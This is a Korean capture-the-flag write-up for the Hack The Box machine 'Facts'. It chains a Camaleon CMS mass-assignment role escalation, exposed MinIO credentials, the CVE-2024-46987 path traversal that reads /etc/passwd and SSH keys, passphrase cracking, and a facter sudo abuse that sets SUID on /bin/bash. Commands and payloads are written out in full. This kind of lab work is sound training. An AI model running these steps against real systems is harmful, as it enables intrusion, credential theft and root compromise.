
HTB Facts는 Camaleon CMS와 MinIO를 특징으로 하는 Easy 등급 Linux 박스입니다. 공개 등록과 대량 할당(mass assignment) 취약점을 통해 관리자 액세스 권한을 획득한 다음, 관리자 설정에서 MinIO 자격 증명을 추출하세요. CVE-2024-46987 경로 탐색(path traversal)을 사용하여 SSH 개인 키를 탈취하고, 해당 암호를 크랙한 다음, GTFOBins를 통해 facter에 대한 sudo 권한을 악용하여 root로 권한을 상승시키세요.
난이도: 중간(Medium)
OS: Linux
태그: Web, MinIO, Camaleon CMS, 경로 탐색(Path Traversal), SSTI, 권한 상승(Privilege Escalation)
열린 서비스를 식별하기 위해 전체 TCP 포트 스캔으로 시작합니다.
nmap -p- --min-rate 5000 -T4 10.129.244.96
결과:
| 포트 | 서비스 | 참고 사항 |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | 알 수 없음 | MinIO로 식별됨 |
대상을 /etc/hosts에 추가합니다:
echo "10.129.244.96 facts.htb" >> /etc/hosts
http://facts.htb에 접속하면 Camaleon CMS(Ruby on Rails)로 구축된 퀴즈(trivia) 웹사이트가 나타납니다. 주요 특징:
_factsapp_session (Rails 세션)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)사용 가능한 모든 페이지를 확인하기 위해 사이트맵을 열거합니다:
curl -s http://facts.htb/sitemap.xml
발견된 주요 경로:
/admin → /admin/login으로 리다이렉트/rss/animal-ejected, /anne-frank 등관리자 로그인 패널 확인:
curl -v http://facts.htb/admin
# → 302 redirect to /admin/login
알 수 없는 포트를 curl로 탐색하면 MinIO(S3 호환 객체 스토리지 서비스)가 확인됩니다:
curl -v http://facts.htb:54321
응답:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
헤더에서 Server: MinIO 확인.
잠재적인 버킷 이름을 열거합니다(모두 403을 반환하면 버킷이 존재함을 의미):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
모두 403 Forbidden 반환 — 버킷은 존재하지만 자격 증명이 필요합니다.
에셋 경로와 세션 쿠키를 통해 CMS는 Camaleon CMS로 식별됩니다.
알려진 취약점 확인:
searchsploit camaleon
결과:
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
관리자 패널 버전은 2.9.0으로 확인됩니다(로그인 후 푸터에서 확인 가능).
http://facts.htb/admin/login의 관리자 로그인 페이지에는 "계정 생성(Create an account)" 링크가 있습니다. 새 계정을 등록합니다:
http://facts.htb/admin/users/sign_up으로 이동test123 / test123)Client 역할 계정이 생성됩니다등록 후 관리자 대시보드에 로그인합니다. 이 계정은 제한된 Client 권한만 있습니다.
Camaleon CMS는 비밀번호 변경 엔드포인트에서 mass assignment 공격에 취약합니다. 비밀번호 변경 요청을 가로채 password[role] 파라미터를 주입하면 공격자는 자신의 역할을 admin으로 상승시킬 수 있습니다.
Burp Suite를 사용한 단계:
Client 계정으로 관리자 패널에 로그인합니다.Profile → Edit → Change Password로 이동합니다.&password[role]=admin을 추가합니다:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK여야 합니다.이제 계정에 admin 권한이 부여되어 Settings, Media, Filesystem Settings를 포함한 CMS 관리자 패널에 완전히 접근할 수 있습니다.
관리자 접근 권한으로 다음으로 이동합니다:
Settings → General Site → Filesystem Settings
이 페이지에서 하드코딩된 MinIO(AWS S3 호환) 자격 증명이 노출됩니다:
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
AWS CLI를 구성하고 버킷을 열거합니다:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
발견된 버킷:
2025-09-11 internal
2025-09-11 randomfacts
internal 버킷에는 trivia 사용자의 홈 디렉터리가 포함되어 있습니다:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# SSH 개인 키 다운로드
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
또는 SSH 개인 키는 CVE-2024-46987을 통해 검색할 수 있습니다. 이는 Camaleon CMS의 인증된 경로 탐색(path traversal) 취약점으로, 서버의 임의 파일을 읽을 수 있습니다.
공개 PoC를 클론합니다:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
민감한 파일 읽기:
# 1단계: 시스템 사용자를 열거하기 위해 /etc/passwd 읽기
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
출력(관련 라인):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
trivia와 william 두 사용자가 식별됩니다. trivia는 로그인 셸과 홈 디렉터리가 있으므로 SSH 개인 키를 확인합니다:
# 2단계: trivia의 SSH 개인 키 읽기
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
키 출력을 파일로 저장합니다:
chmod 600 id_ed25519
SSH 개인 키는 암호문(passphrase)으로 암호화되어 있습니다. ssh2john과 john을 사용하여 크래킹합니다:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
크래킹된 암호문: dragonballz
ssh -i id_ed25519 [email protected]
# 암호문 입력: dragonballz
사용자 플래그 획득:
cat /home/william/user.txt
trivia 사용자의 sudo 권한을 확인합니다:
sudo -l
출력:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
이 사용자는 비밀번호 없이 root 권한으로 /usr/bin/facter를 실행할 수 있습니다. facter는 Ruby 기반 시스템 정보 도구입니다.
GTFOBins에 따르면 facter는 --custom-dir을 통해 사용자 정의 Ruby fact 파일을 로드할 수 있으며, 이 파일은 호출 사용자(이 경우 root)로 실행됩니다.
익스플로잇:
# 익스플로잇 디렉터리와 Ruby 페이로드 생성
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF
# 사용자 정의 디렉터리로 facter를 root 권한으로 실행
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x
# bash에 SUID 비트가 설정되었는지 확인
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...
# root 셸 실행
/bin/bash -p
whoami
# root
cat /root/root.txt
| 플래그 | 위치 |
|---|---|
| user.txt | /home/william/user.txt |
| root.txt | /root/root.txt |
Nmap Scan
↓
Port 80: Camaleon CMS 2.9.0
↓
Register Client Account → Admin Panel
↓
Mass Assignment: password[role]=admin → Admin Role
↓
Admin Settings → MinIO Credentials Exposed
↓
CVE-2024-46987: Path Traversal → Read /home/trivia/.ssh/id_ed25519
↓
ssh2john + John → Passphrase: dragonballz
↓
SSH Login as trivia
↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
↓
/bin/bash -p → root
| CVE | 설명 |
|---|---|
| CVE-2024-46987 | Camaleon CMS 인증된 경로 탐색 / 임의 파일 읽기 |
| CVE-2023-30145 | Camaleon CMS v2.7.0 formats 파라미터를 통한 SSTI (이 머신에서는 사용되지 않음) |